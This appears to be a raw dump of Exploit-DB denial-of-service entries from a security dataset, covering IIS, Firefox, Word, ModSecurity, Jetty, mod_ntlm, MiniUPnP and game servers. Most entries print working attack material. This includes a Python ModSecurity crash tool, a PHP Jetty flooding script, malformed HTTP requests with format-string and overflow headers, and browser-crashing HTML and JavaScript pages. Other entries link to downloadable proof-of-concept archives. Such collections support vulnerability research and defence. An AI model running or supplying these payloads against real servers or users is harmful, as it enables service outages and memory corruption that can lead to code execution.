deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25171
Description: MercurySteam Scrapland Game Server 1.0 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2005-02-28
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12680/info

Scrapland game server is reported prone to various denial of service vulnerabilities. These issues present themselves because the application fails to handle exceptional conditions.

It is reported that the game server crashes when handling various errors.

Scrapland 1.0 and prior versions are affected by these issues. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25171.zip
Exploit-DB #19457
Description: Microsoft Commercial Internet System 2.0/2.5 / IIS 4.0 / Site Server Commerce Edition 3.0 alpha/3.0 - Denial of Service
Type: dos
Platform: multiple
Date: 1999-08-11
Author: Nobuo Miwa

Exploit:
Microsoft Commercial Internet System 2.0/2.5,IIS 4.0,Site Server Commerce Edition 3.0 alpha/3.0 i386 Malformed HTTP Request Header DoS

source: https://www.securityfocus.com/bid/579/info

Microsoft IIS and all other products that use the IIS web engine have a vulnerability whereby a flood of specially formed HTTP request headers will make IIS consume all available memory on the server and then hang. IIS activity will be halted until the flood ceases or the service is stopped and restarted. 

Simple play. I sent lots of "Host:aaaaa...aa" to IIS like...

GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)

I sent twice above request sets. Then somehow victim IIS got memory leak after these requests. Of course, it can not respond any request any more. If you try this, you should see memory increase through performance monitor. You would see memory increase even after those requests finished already. It will stop when you got shortage of virtual memory. After that, you might not be able to restart web service and you would restart computer. I tried this against Japanese and English version of Windows NT.
Exploit-DB #21041
Description: Microsoft Internet Explorer 3/4/5 / Netscape Communicator 4 - IMG Tag Denial of Service
Type: dos
Platform: multiple
Date: 2001-06-19
Author: John Percival

Exploit:
source: https://www.securityfocus.com/bid/3122/info

An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.

Multiple malicious IMG tags may cause a denial of services to users who view webpages they are embedded into. Any medium which allows web users to embed a sufficient amount of HTML code that will be displayed to other users(forums, guestbooks, etc.) is a potential attack vehicle for a malicious user. Additionally, malicious webmasters may construct webpages which exploit this vulnerability.

The multiple malicious IMG tags will contain a unique 'mailto:' link, forcing the affected browser to open a corresponding number of e-mail compose windows. At the very least the browser will crash, but system resources may be exhausted enough to cause the entire machine to crash. 

Post 100+ IMG Tags, each with a unique 'mailto:' link.

<img src="mailto:johndoe1@example.com">
<img src="mailto:johndoe2@example.com">
etc.
Exploit-DB #21181
Description: Microsoft Internet Explorer 6.0 / Mozilla 0.9.6 / Opera 5.1 - Image Count Denial of Service
Type: dos
Platform: multiple
Date: 2001-12-11
Author: Pavel Titov

Exploit:
source: https://www.securityfocus.com/bid/3684/info

An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.

An unusually high image count may cause a denial of services to users who view the webpage containing the offending image.

Malicious webmasters may construct webpages which exploit this vulnerability. 

<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>
Exploit-DB #39906
Description: Microsoft Word (Windows/OSX) - Crash (PoC)
Type: dos
Platform: multiple
Date: 2016-06-09
Author: halsten

Exploit:
Source: https://twitter.com/halsten/status/[PII_REDACTED]94280704

Win/Mac #MSFT Word #0day POC having 3 different forced triggers. Happy exploitation!

Let Word recover it, its essential, and then you can trigger the bug afterwards in 3 ways, Save, Close/Save, change format.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39906.zip
Exploit-DB #40238
Description: Microsoft Word 2013/2016 - sprmSdyaTop Denial of Service (MS16-099)
Type: dos
Platform: multiple
Date: 2016-08-16
Author: COSIG

Exploit:
#####################################################################################

# Application: Microsoft Office Word
# Platforms: Windows, OSX
# Versions: Microsoft Office Word 2013,2016
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: August 09, 2016
# CVE: CVE-2016-3316
# COSIG-2016-32

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#######################################################################################

===================
1) Introduction
===================

Microsoft Word is a word processor developed by Microsoft. It was first released on October 25, 1983[3]
under the name Multi-Tool Word for Xenix systems.[4][5][6] Subsequent versions were later written for several
other platforms including IBM PCs running DOS (1983), Apple Macintosh running Mac OS (1985), AT&T Unix PC (1985),
Atari ST (1988), OS/2 (1989), Microsoft Windows (1989) and SCO Unix (1994). Commercial versions of Word are licensed
as a standalone product or as a component of Microsoft Office, Windows RT or the discontinued Microsoft Works suite.
Microsoft Word Viewer and Office Online are Freeware editions of Word with limited features.

(https://en.wikipedia.org/wiki/Microsoft_Word)

#######################################################################################

===================
2) Report Timeline
===================

2016-05-15: Francis Provencher of COSIG report the vulnerability to MSRC.
2016-06-07: MSRC confirm the vulnerability
2016-08-09: Microsoft fixed the issue (MS16-099).
2016-08-09: Advisory released.

#######################################################################################

===================
3) Technical details
===================

The specific flaw exists within the parsing of invalid operand in “sprmSdyaTop” into a SEPX structure.
An attacker can use this flaw to read outside the allocated buffer, which could allow for the execution of arbitrary code in the context of the current process.
#######################################################################################

==========
4) POC
==========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/08/COSIG-2016-32.doc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40238.zip

#######################################################################################
Exploit-DB #38249
Description: MiniUPnP 1.4 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2012-01-28
Author: Rapid7

Exploit:
source: https://www.securityfocus.com/bid/57602/info

MiniUPnP is prone to multiple denial-of-service vulnerabilities.

Attackers can exploit these issues to cause denial-of-service conditions.

MiniUPnP versions prior to 1.4 are vulnerable. 

M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:schemas:device:MX:3< no CRLF >
Exploit-DB #22053
Description: Moby NetSuite 1.0/1.2 - POST Handler Buffer Overflow
Type: dos
Platform: multiple
Date: 2002-11-29
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/6277/info

A buffer overflow vulnerability has been reported for Moby NetSuite that may result in a denial of service condition. Reportedly, it is possible to cause NetSuite to crash when a malformed POST request is received. 

An attacker can exploit this vulnerability by issuing a malformed POST request. When NetSuite attempts to service the malformed POST request, it will crash resulting in a denial of service. Restarting the service is neccessary to restore functionality.

POST /cgi-bin/test.cgi HTTP/1.0
Content-Length:[PII_REDACTED][PII_REDACTED]111111
Exploit-DB #25852
Description: ModSecurity - Remote Null Pointer Dereference
Type: dos
Platform: multiple
Date: 2013-05-31
Author: Younes JAAIDI

Exploit:
Source: http://packetstormsecurity.com/files/121815/modsecurity_cve_2013_2765_check.py.txt
When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <yjaaidi@shookalabs.com>
#

import argparse
import http.client
import logging
import sys
import urllib.request

logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

    _DEFAULT_REQUEST_BODY_SIZE = 200 # KB
    _DEFAULT_CONCURRENCY = 100
    _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

    def __init__(self):
        self._request_counter = 0
        self._status_message = None

    def main(self, args_list):
        args_object = self._parse_args(args_list)
        
        payload = "A" * args_object.request_body_size * 1024
        
        request = urllib.request.Request(args_object.target_url,
                                         method = "GET",
                                         data = payload.encode('utf-8'),
                                         headers = {'Content-Type': 'text/random',
                                                    'User-Agent': self._DEFAULT_USER_AGENT})
        
        if self._send_request(request):
            logger.info("Target seems to be vulnerable!!!")
            return 0
        else:
            logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
            return 1

    def _parse_args(self, args_list):
        parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
        parser.add_argument('-t', '--target-url',
                            dest = 'target_url',
                            required = True,
                            help = "Target URL")
        parser.add_argument('-s', '--request-body-size',
                            dest = 'request_body_size',
                            default = self._DEFAULT_REQUEST_BODY_SIZE,
                            type = int,
                            help = "Request body size in KB")
        
        return parser.parse_args()

    def _send_request(self, request):
        try:
            urllib.request.urlopen(request)
            return False
        except (http.client.BadStatusLine, urllib.error.HTTPError):
            return True

if __name__ == '__main__':
    sys.exit(ModSecurityDOSCheck().main(sys.argv))
Exploit-DB #22514
Description: Mod_NTLM 0.x - Authorisation Format String
Type: dos
Platform: multiple
Date: 2003-04-21
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/7393/info

A format string vulnerability has been reported for the mod_ntlm Apache module. The problem occurs when logging authentication strings passed in HTTP requests. By passing malicious format specifiers in a request, it may be possibile for an attacker to corrupt sensitive locations in memory. This may result in a denial of service or under certain circumstances could allow an attacker to execute arbitrary code. 

GET / HTTP/1.0
Authorization: %n%n%n%n
Exploit-DB #22512
Description: Mod_NTLM 0.x - Authorisation Heap Overflow
Type: dos
Platform: multiple
Date: 2003-04-21
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/7388/info

The mod_ntlm Apache module has been reported prone to a heap overflow vulnerability.

The vulnerability occurs due to a lack of sufficient bounds checking performed on user-supplied data, stored in heap memory. By supplying excessive data an attacker may trigger a buffer overflow and corrupt crucial memory management structures. This may result in the execution of arbitrary code in the context of the Apache server.

This vulnerability is reported to affect mod_ntlm <= v0.4 for Apache 1.3 and mod_ntlmv2 version 0.1 for Apache 2.0. 

GET / HTTP/1.0
Authorization: [Ax3000]
Exploit-DB #34360
Description: Monolith Lithtech Game Engine - Memory Corruption
Type: dos
Platform: multiple
Date: 2010-07-21
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41851/info

Monolith Lithtech Game Engine is prone to a memory-corruption vulnerability.

An attacker can exploit this issue to cause a denial-of-service condition, or execute arbitrary code within the context of the affected application. Other attacks may also be possible.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34360.zip
Exploit-DB #27365
Description: Monopd 0.9.3 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-03-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/16981/info

The Monopd game server is prone to a remote denial-of-service vulnerability.

A remote attacker may exploit this issue to deny service for legitimate users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27365.zip
Exploit-DB #8646
Description: Mortbay Jetty 7.0.0-pre5 Dispatcher Servlet - Denial of Service
Type: dos
Platform: multiple
Date: 2009-05-08
Author: ikki

Exploit:
<?php
####################################################################################
# Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet DoS							  	
#																					
# Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 (all platforms)					
# Author: Ikki (http://blog.nibblesec.org/)											
#																					
# Description: 																		
# The dispatcher servlet (com.acme.DispatchServlet) is prone to a DoS vulnerability.
# This example servlet is meant to be used as a resources dispatcher, however a 	
# malicious aggressor may abuse this functionality in order to cause a recursive 	
# inclusion. In detail, it is possible to abuse the method  						
# com.acme.DispatchServlet.doGet(DispatchServlet.java:203) forcing the application 	
# to recursively include the "DispatchServlet". 									
# As a result, it is possible to trigger a "java.lang.StackOverflowError" and 		
# consequently an internal server error (500). Multiple requests may easily affect 	
# the availability of the entire servlet container. 								
####################################################################################

error_reporting(E_ALL&E_NOTICE);
echo("\n\n :: Jetty Dispatcher Servlet DoS - http://blog.nibblesec.org  ::\n");
echo(" :: Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 - all platforms :: \n\n");

if($argc==3){
	$cont=0;
	$reqNum=1000;
	$req = "GET /dispatch/includeN/Dispatch HTTP/1.0\r\n";
	$req .= "Host: ".$argv[1]."\r\n";
	$req .= "\r\n";
	while($cont<$reqNum){
		$sock = fsockopen($argv[1],$argv[2],$errno,$errstr,30);
		if(!$sock){
			echo "\nNo response from ".$argv[1];
			die;
		}
		fwrite($sock,$req);
		fclose($sock);
		echo(".");
		$cont++;
	}
	echo ("\n\nCheck your servlet container, after " . $reqNum . " requests:\n" . "http://" . $argv[1] . ":" . $argv[2] . "/");
}else{
	echo("\nphp " . $argv[0] . " <host> <port>\n\n");
}

# milw0rm.com [2009-05-08]
Exploit-DB #22441
Description: Mozilla 1.x / Opera 7.0 - LiveConnect JavaScript Denial of Service
Type: dos
Platform: multiple
Date: 2003-03-28
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/7227/info

A denial-of-service vulnerability has been reported to affect several browsers. The vulnerability occurs when executing certain malformed JavaScript-enabled pages.

An attacker can exploit this vulnerability by creating a malicious JavaScript page that makes a call to certain methods. When an affected browser is used to view the malformed page, the Java Virtual Machine will crash, resulting in a denial-of-service condition.

<script language="Javascript">
t = new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
</script>
Exploit-DB #24597
Description: Mozilla Browser 1.7.x - Non-ASCII Hostname Heap Overflow
Type: dos
Platform: multiple
Date: 2004-09-14
Author: Mats Palmgren & Gael Delalleau

Exploit:
source: https://www.securityfocus.com/bid/11169/info

Mozilla is prone to a remotely exploitable heap overflow that is exposed when the browser handles non-ASCII characters in URIs. 

This issue could be exploited by enticing a user to open a hyperlink that references a malicious URI. Successful exploitation will allow execution of arbitrary code in the context of the client user.

http://é------------------------------------------------aaaabbbb-----/

http://é------------------------------------------------þßý-----/

http://é------------------------------------------------aaaa$ðý-----/
Exploit-DB #24781
Description: Mozilla Camino Web Browser 0.7/0.8 - Infinite Array Sort Denial of Service
Type: dos
Platform: multiple
Date: 2004-11-25
Author: Berend-Jan Wever

Exploit:
source: https://www.securityfocus.com/bid/11761/info

Mozilla Camino Web browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
Exploit-DB #38798
Description: Mozilla Firefox - Cookie Verification Denial of Service
Type: dos
Platform: multiple
Date: 2013-04-04
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/62969/info

Mozilla Firefox is prone to a denial-of-service vulnerability because it fails to verify the user supplied input.

Successfully exploiting this issue will allow an attacker to inject special characters into the browser's local cookie storage, resulting in the requested website always responding with an error message which is hosted on specific web server software (like lighttpd). This will cause a denial-of-service condition.

Firefox 19 is vulnerable; other versions may also be affected.

Note: This issue was previously covered in BID 58857 (Google Chrome and Mozilla Firefox Browser Cookie Verification Security Weakness), but has been moved to its own record for better documentation. 

http://www.example.com/?utm_source=test&utm_medium=test&utm_campaign=te%05st
Exploit-DB #15341
Description: Mozilla Firefox - Interleaving 'document.write' / 'appendChild' Denial of Service
Type: dos
Platform: multiple
Date: 2010-10-28
Author: Daniel Veditz

Exploit:
Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222 
<html><body> 
 <script> 
  function getatts(str){
    var cobj=document.createElement(str);
    cobj.id="testcase";
    document.body.appendChild(cobj);
    var obj=document.getElementById("testcase");
    var atts = new Array(); 
    for(p in obj){
      if(typeof(obj[p])=="string"){
        atts.push(p);
      }
    }   
    document.body.removeChild(cobj);
    return atts;
  }
 
  function crashme() {
    var tags = new Array("audio", "a", "base");
    for (inx = 0; inx < 0x8964; inx++) {
        for (i = 0; i < tags.length; i++) {
            var atts = getatts(tags[i]);
            for (j = 0; j < atts.length; j++) {
                var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
                           ">" + tags[i];
                document.write(html);
            }
        }
    }
  }
</script> 
<button onclick="crashme();">Crash Me!</button> 
</body></html>
Exploit-DB #37639
Description: Mozilla Firefox - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2012-08-17
Author: Jean Pascal Pereira

Exploit:
source: https://www.securityfocus.com/bid/55091/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to make the affected computer unresponsive, denying service to legitimate users.

Mozilla Firefox 14.01 is affected; prior versions may also be affected. 

<html>
<head>
<title></title>
</head>
<body></body>
<script>
function e(x)
{
  document.body.innerHTML += x;
  e(x + 'x');
};

e('x')
</script>
</html>
Exploit-DB #15342
Description: Mozilla Firefox - Simplified Memory Corruption (PoC)
Type: dos
Platform: multiple
Date: 2010-10-28
Author: extraexploit

Exploit:
Hi there,

For those who still do not know .. The proof of concept (that I have
extracted) for CVE-2010-3765 is the following:

<html><body>
<script>

  function G(str){
    var cobj=document.createElement(str);
    document.body.appendChild(cobj);
    cobj.scrollWidth;
  }

  function crashme() {
    document.write("fooFOO");
    G("a");
    document.write("<a lang></a>a");
    G("base");
    document.write("barBAR");
    G("audio");
  }
</script>
<script>crashme();</script>
</body>
</html>

For more details:
http://extraexploit.blogspot.com/2010/10/cve-2010-3765-proof-of-concept.html
-- 
http://extraexploit.blogspot.com
Exploit-DB #26762
Description: Mozilla Firefox 0.x/1.x - Large History File Buffer Overflow
Type: dos
Platform: multiple
Date: 2005-12-08
Author: ZIPLOCK

Exploit:
source: https://www.securityfocus.com/bid/15773/info

Mozilla Firefox is reportedly prone to a remote denial-of-service vulnerability.

This issue presents itself when the browser handles a large entry in the 'history.dat' file. An attacker may trigger this issue by enticing a user to visit a malicious website and by supplying excessive data to be stored in the affected file.

This may cause a denial-of-service condition.

**UPDATE: Proof-of-concept exploit code has been published. The author of the code attributes the crash to a buffer-overflow condition. Symantec has not reproduced the alleged flaw. 

<!-- Firefox 1.5 buffer overflow

Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.

this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.

Tested with Firefox 1.5 on Windows XP SP2.

ZIPLOCK <sickbeatz@gmail.com>

-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
	var buffer = "";
	for (var i = 0; i < 5000; i++) {
		buffer += "A";
	}
	var buffer2 = buffer;
	for (i = 0; i < 500; i++) {
		buffer2 += buffer;
	}
	document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>